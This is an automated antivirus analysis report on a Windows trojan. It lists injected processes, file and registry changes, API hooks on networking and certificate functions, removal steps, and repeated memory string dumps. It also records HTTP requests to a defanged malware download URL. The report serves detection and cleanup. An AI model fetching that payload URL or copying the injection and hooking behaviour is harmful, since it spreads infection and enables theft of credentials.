Gen.Variant.Symmi.63856_c3f121fc53 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

WinMail.exe:2320
%original file name%.exe:3396

The Trojan injects its code into the following process(es):

taskhost.exe:872
Dwm.exe:1376
Explorer.EXE:1440
TPAutoConnect.exe:2160
conhost.exe:2168
conhost.exe:3240

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process WinMail.exe:2320 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\WindowsMail.MSMessageStore (43552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Drafts\winmail.fol (560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\WindowsMail.pat (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabC6A8.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarC6A9.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Junk E-mail\winmail.fol (592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\edb00002.log (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Sent Items\winmail.fol (592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Deleted Items\winmail.fol (608 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Outbox\winmail.fol (560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\winmail.fol (544 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\0ACF1D42-00000001.eml (1924 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb.log (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb.chk (400 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E6024EAC88E6B6165D49FE3C95ADD735 (558 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\WindowsMail.MSMessageStore (99 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\0ACF1D42-00000001.eml:OECustomProperty (260 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\tmp.edb (1728 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E6024EAC88E6B6165D49FE3C95ADD735 (968 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\WindowsMail.pat (400 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ppcrlui_2320_2 (1281 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edbtmp.log (3466 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\old\WindowsMail.pat (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\old\edb00001.log (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarC6A9.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb00001.log (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\old\WindowsMail.MSMessageStore (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ppcrlui_2320_2 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edbtmp.log (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ppcrlui_2320_2.ui (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabC6A8.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\old (0 bytes)

The process %original file name%.exe:3396 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Odydz\yfzyi.exe (438 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\tmp03448f4b.bat (179 bytes)

Registry activity

The process WinMail.exe:2320 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\IdentityCRL\Dynamic Salt]
"Size" = "330"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows Mail]
"Compact Check Count" = "2"
"Settings Upgraded" = "10"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows Mail\Junk Mail\Block Senders List]
"Version" = "327680"

[HKCU\Identities\{C692FCB0-9162-422E-94A4-4CD072B19CA9}]
"Identity Ordinal" = "1"

[HKCU\Software\Microsoft\Windows Mail]
"LastBackup" = "E0 07 0C 00 06 00 11 00 12 00 07 00 13 00 26 03"
"Running" = "1"
"V7StoreMigDone" = "01 00 00 00"
"StoreMigratedV5" = "1"

[HKCU\Software\Microsoft\Windows Mail\Junk Mail\Safe Senders List]
"Version" = "327680"

[HKCU\Software\Microsoft\Windows Mail\Mail]
"Welcome Message" = "0"

[HKCU\Software\Microsoft\Windows Mail]
"SpoolerDlgPos" = "2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\IdentityCRL\Dynamic Salt]
"Value" = "01 00 00 00 D0 8C 9D DF 01 15 D1 11 8C 7A 00 C0"

[HKCU\Identities]
"Identity Ordinal" = "2"

[HKCU\Software\Microsoft\Windows Mail\Mail]
"Secure Safe Attachments" = "1"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD]
"Blob" = "0F 00 00 00 01 00 00 00 20 00 00 00 52 29 BA 15"

[HKCU\Software\Microsoft\Windows Mail\Mail]
"Default_CodePage" = "28591"

[HKCU\Software\Microsoft\WAB]
"NamedPropCount" = "1"

[HKCU\Software\Microsoft\IAM\Accounts]
"ConnectionSettingsMigrated" = "1"

[HKCU\Software\Microsoft\Windows Mail]
"SpoolerTack" = "0"

[HKCU\Software\Microsoft\IAM]
"Default News Account" = "account{CE54EE8F-8454-4E11-A69C-0E6F9BED6C0A}.oeaccount"
"Default LDAP Account" = "account{5F33D8D7-3326-4E0C-969F-F201824EF068}.oeaccount"

[HKCU\Software\Microsoft\Windows Mail]
"lastrun" = "0A 5C FC 6E 90 58 D2 01"

[HKCU\Software\Microsoft\Windows Mail\Mail]
"Safe Attachments" = "1"

[HKCU\Software\Microsoft\IAM]
"Server ID" = "2"

[HKCU\Software\Microsoft\WAB]
"NamedProps" = "04 20 06 00 00 00 00 00 C0 00 00 00 00 00 00 46"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\WAB]
"NamedPropCount"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Identities]
"Changing"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates]
"D69B561148F01C77C54578C10926DF5B856976AD"

[HKCU\Identities]
"IncomingID"
"OutgoingID"

[HKCU\Software\Microsoft\WAB]
"NamedProps"

Dropped PE files

MD5	File path
bd33d26c60f6efc7f12242f908cb6994	c:\Users\"%CurrentUserName%"\AppData\Roaming\Odydz\yfzyi.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestA
HttpSendRequestW
HttpSendRequestExW
InternetReadFileExA
InternetQueryDataAvailable
InternetReadFile
HttpQueryInfoA
InternetCloseHandle

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
ReleaseCapture
SetCapture
GetMessagePos
DefDlgProcW
CallWindowProcA
DefMDIChildProcA
DefFrameProcA
GetUpdateRgn
DefFrameProcW
DefMDIChildProcW
DefDlgProcA
GetClipboardData
GetMessageW
TranslateMessage
PeekMessageW
EndPaint
BeginPaint
GetDC
ReleaseDC
DefWindowProcW
GetWindowDC
GetDCEx
CallWindowProcW
PeekMessageA
GetMessageA
RegisterClassExW
RegisterClassW
RegisterClassA
DefWindowProcA
GetUpdateRect
GetCursorPos
GetCapture
RegisterClassExA
OpenInputDesktop
SwitchDesktop

The Trojan installs the following user-mode hooks in WS2_32.dll:

send
WSASend
closesocket

The Trojan installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
ZwCreateUserProcess

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
WinMail.exe:2320
%original file name%.exe:3396
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\WindowsMail.MSMessageStore (43552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Drafts\winmail.fol (560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\WindowsMail.pat (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabC6A8.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarC6A9.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Junk E-mail\winmail.fol (592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\edb00002.log (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Sent Items\winmail.fol (592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Deleted Items\winmail.fol (608 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Outbox\winmail.fol (560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\winmail.fol (544 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\0ACF1D42-00000001.eml (1924 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb.log (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb.chk (400 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E6024EAC88E6B6165D49FE3C95ADD735 (558 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\WindowsMail.MSMessageStore (99 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\0ACF1D42-00000001.eml:OECustomProperty (260 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\tmp.edb (1728 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E6024EAC88E6B6165D49FE3C95ADD735 (968 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\WindowsMail.pat (400 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ppcrlui_2320_2 (1281 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edbtmp.log (3466 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Odydz\yfzyi.exe (438 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\tmp03448f4b.bat (179 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: XXXXBytes
Product Name: XXXXBytes
Product Version: 1.0.0.1
Legal Copyright: 2016
Legal Trademarks:
Original Filename: pujpyujy.exe
Internal Name: pujpyujy.exe
File Version: 1.2
File Description: XXXXBytes
Comments:
Language: French (France)

Company Name: XXXXBytesProduct Name: XXXXBytesProduct Version: 1.0.0.1Legal Copyright: 2016Legal Trademarks: Original Filename: pujpyujy.exeInternal Name: pujpyujy.exeFile Version: 1.2File Description: XXXXBytesComments: Language: French (France)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	31516	31744	4.6501	a326195f0d70d27163c460ade5db43ad
.data	36864	7488	3584	2.38381	9921ad24379ec353758d34c12ab1e78e
.heaven	45056	10598	10752	3.42855	c1d08757b6f7b2dc325e4d1e13e94641
.rsrc	57344	14488	14848	3.4946	3d4b5b24d9ff3946659791e99ea05235

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://www.gkmexico.com/sos/css/bor.bin	158.69.126.3
hxxp://a1363.dscg.akamai.net/pki/crl/products/CodeSignPCA.crl
hxxp://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl	212.30.134.167
dns.msftncsi.com
time.windows.com

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /sos/css/bor.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.gkmexico.com

Cache-Control: no-cache

HTTP/1.1 403 Forbidden

Date: Sat, 17 Dec 2016 18:07:16 GMT

Server: Apache/2

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access ..29../sos/css/bor.bin on this server..<HR>.<I>..11c..VVV.gkmexico.com</I>.</BODY></HTML>...........................................................................................................................................................................................................................................................0..

GET /sos/css/bor.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.gkmexico.com

Cache-Control: no-cache

HTTP/1.1 403 Forbidden

Date: Sat, 17 Dec 2016 18:07:11 GMT

Server: Apache/2

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access ..29../sos/css/bor.bin on this server..<HR>.<I>..11c..VVV.gkmexico.com</I>.</BODY></HTML>...........................................................................................................................................................................................................................................................0..

GET /pki/crl/products/CodeSignPCA.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com

HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Mon, 16 Apr 2012 23:49:48 GMT

Accept-Ranges: bytes

ETag: "0f6669b2b1ccd1:0"

Server: Microsoft-IIS/8.5

VTag: 438195957300000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 558

Cache-Control: max-age=900

Date: Sat, 17 Dec 2016 18:07:20 GMT

Connection: keep-alive

0..*0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1 0)..U..."Copyright (c) 2000 Microsoft Corp.1#0!..U....Microsoft Code Signing PCA..111110211944Z..420416234935Z.7050...U.#..0...%. K].rT....*.....S.0... .....7.........0...*.H...............&..%PIu@.....\0KF....0..^.h9=.1jT,5.L....Ed ..6.......i.6.xva....oX.^f'....s...!......O...h.1a..Ud);.?....J_...Fu....<v.zx..t..h.0JU%.nk;..B[4.?&Zm^..M.!.'...w.u.\T..Tr..Ch.[.z:....#...T.4Ct.......,...c..}F..U....:..7J...%.#..D6 . ....G..#....T..G;......HTTP/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modified: Mon, 16 Apr 2012 23:49:48 GMT..Accept-Ranges: bytes..ETag: "0f6669b2b1ccd1:0"..Server: Microsoft-IIS/8.5..VTag: 438195957300000000..P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Content-Length: 558..Cache-Control: max-age=900..Date: Sat, 17 Dec 2016 18:07:20 GMT..Connection: keep-alive..0..*0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1 0)..U..."Copyright (c) 2000 Microsoft Corp.1#0!..U....Microsoft Code Signing PCA..111110211944Z..420416234935Z.7050...U.#..0...%. K].rT....*.....S.0... .....7.........0...*.H...............&..%PIu@.....\0KF....0..^.h9=.1jT,5.L....Ed ..6.......i.6.xva....oX.^f'....s...!......O...h.1a..Ud);.?....J_...Fu....<v.zx..t..h.0JU%.nk;..B[4.?&Zm^..M.!.'...w.u.\T..Tr..Ch.[.z:....#...T.4Ct.......,...c..}F..U....:..7J

<<< skipped >>>

GET /sos/css/bor.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.gkmexico.com

Cache-Control: no-cache

HTTP/1.1 403 Forbidden

Date: Sat, 17 Dec 2016 18:07:22 GMT

Server: Apache/2

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access ..29../sos/css/bor.bin on this server..<HR>.<I>..11c..VVV.gkmexico.com</I>.</BODY></HTML>...........................................................................................................................................................................................................................................................0..

GET /sos/css/bor.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.gkmexico.com

Cache-Control: no-cache

HTTP/1.1 403 Forbidden

Date: Sat, 17 Dec 2016 18:07:10 GMT

Server: Apache/2

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access ..29../sos/css/bor.bin on this server..<HR>.<I>..11c..VVV.gkmexico.com</I>.</BODY></HTML>...........................................................................................................................................................................................................................................................0..

GET /sos/css/bor.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.gkmexico.com

Cache-Control: no-cache

HTTP/1.1 403 Forbidden

Date: Sat, 17 Dec 2016 18:07:16 GMT

Server: Apache/2

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access ..29../sos/css/bor.bin on this server..<HR>.<I>..11c..VVV.gkmexico.com</I>.</BODY></HTML>...........................................................................................................................................................................................................................................................0..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

taskhost.exe_872_rwx_00580000_00027000:

.text

`.data

.reloc

PR_OpenTCPSocket

hXXp://VVV.google.com/webhp

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

,127!' ./9

5/ -?9/#$

./.-#**:

6 !26!1'1

7"52),,>

, >(3=2;

&;1"&1!7!1

;1 "?&! ?

c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_

7.>.3; `

1:,0/2$7

?$6 39 ~

HTTP/1.1

hXXp://

hXXps://

HTTP/1.

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

SSShlDX

GetProcessHeap

KERNEL32.dll

ExitWindowsEx

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

GetKeyboardState

MapVirtualKeyW

SetKeyboardState

MsgWaitForMultipleObjects

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersA

InternetCrackUrlA

HttpOpenRequestA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

=:`.FT&

>">->3>?>

5S5C5N5Z5

nspr4.dll

cGlobal\XXX

SysShadow

e.dat

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

C:\Users\"%CurrentUserName%"\AppData\Roaming\Peavwi\asiz.hub

C:\Users\"%CurrentUserName%"\AppData\Roaming\Peavwi

asiz.hub

Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}

C:\Users\"%CurrentUserName%"\AppData\Roaming

{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

Dwm.exe_1376_rwx_00110000_00027000:

.text

`.data

.reloc

PR_OpenTCPSocket

hXXp://VVV.google.com/webhp

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

,127!' ./9

5/ -?9/#$

./.-#**:

6 !26!1'1

7"52),,>

, >(3=2;

&;1"&1!7!1

;1 "?&! ?

c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_

7.>.3; `

1:,0/2$7

?$6 39 ~

HTTP/1.1

hXXp://

hXXps://

HTTP/1.

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

SSShlD

GetProcessHeap

KERNEL32.dll

ExitWindowsEx

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

GetKeyboardState

MapVirtualKeyW

SetKeyboardState

MsgWaitForMultipleObjects

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersA

InternetCrackUrlA

HttpOpenRequestA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

=:`.FT&

>">->3>?>

5S5C5N5Z5

nspr4.dll

cGlobal\XXX

SysShadow

e.dat

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

:\Users\"%CurrentUserName%"\AppData\Roaming\Peavwi\asiz.hub

C:\Users\"%CurrentUserName%"\AppData\Roaming\Peavwi

asiz.hub

Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}

C:\Users\"%CurrentUserName%"\AppData\Roaming

{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

Explorer.EXE_1440_rwx_020D0000_00027000:

.text

`.data

.reloc

PR_OpenTCPSocket

hXXp://VVV.google.com/webhp

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

,127!' ./9

5/ -?9/#$

./.-#**:

6 !26!1'1

7"52),,>

, >(3=2;

&;1"&1!7!1

;1 "?&! ?

c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_

7.>.3; `

1:,0/2$7

?$6 39 ~

HTTP/1.1

hXXp://

hXXps://

HTTP/1.

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

SSShlD

GetProcessHeap

KERNEL32.dll

ExitWindowsEx

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

GetKeyboardState

MapVirtualKeyW

SetKeyboardState

MsgWaitForMultipleObjects

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersA

InternetCrackUrlA

HttpOpenRequestA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

>">->3>?>

5S5C5N5Z5

nspr4.dll

cGlobal\XXX

SysShadow

e.dat

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}

C:\Users\"%CurrentUserName%"\AppData\Roaming

{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

TPAutoConnect.exe_2160_rwx_00390000_00027000:

.text

`.data

.reloc

PR_OpenTCPSocket

hXXp://VVV.google.com/webhp

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

,127!' ./9

5/ -?9/#$

./.-#**:

6 !26!1'1

7"52),,>

, >(3=2;

&;1"&1!7!1

;1 "?&! ?

c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_

7.>.3; `

1:,0/2$7

?$6 39 ~

HTTP/1.1

hXXp://

hXXps://

HTTP/1.

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

SSShlD9

GetProcessHeap

KERNEL32.dll

ExitWindowsEx

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

GetKeyboardState

MapVirtualKeyW

SetKeyboardState

MsgWaitForMultipleObjects

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

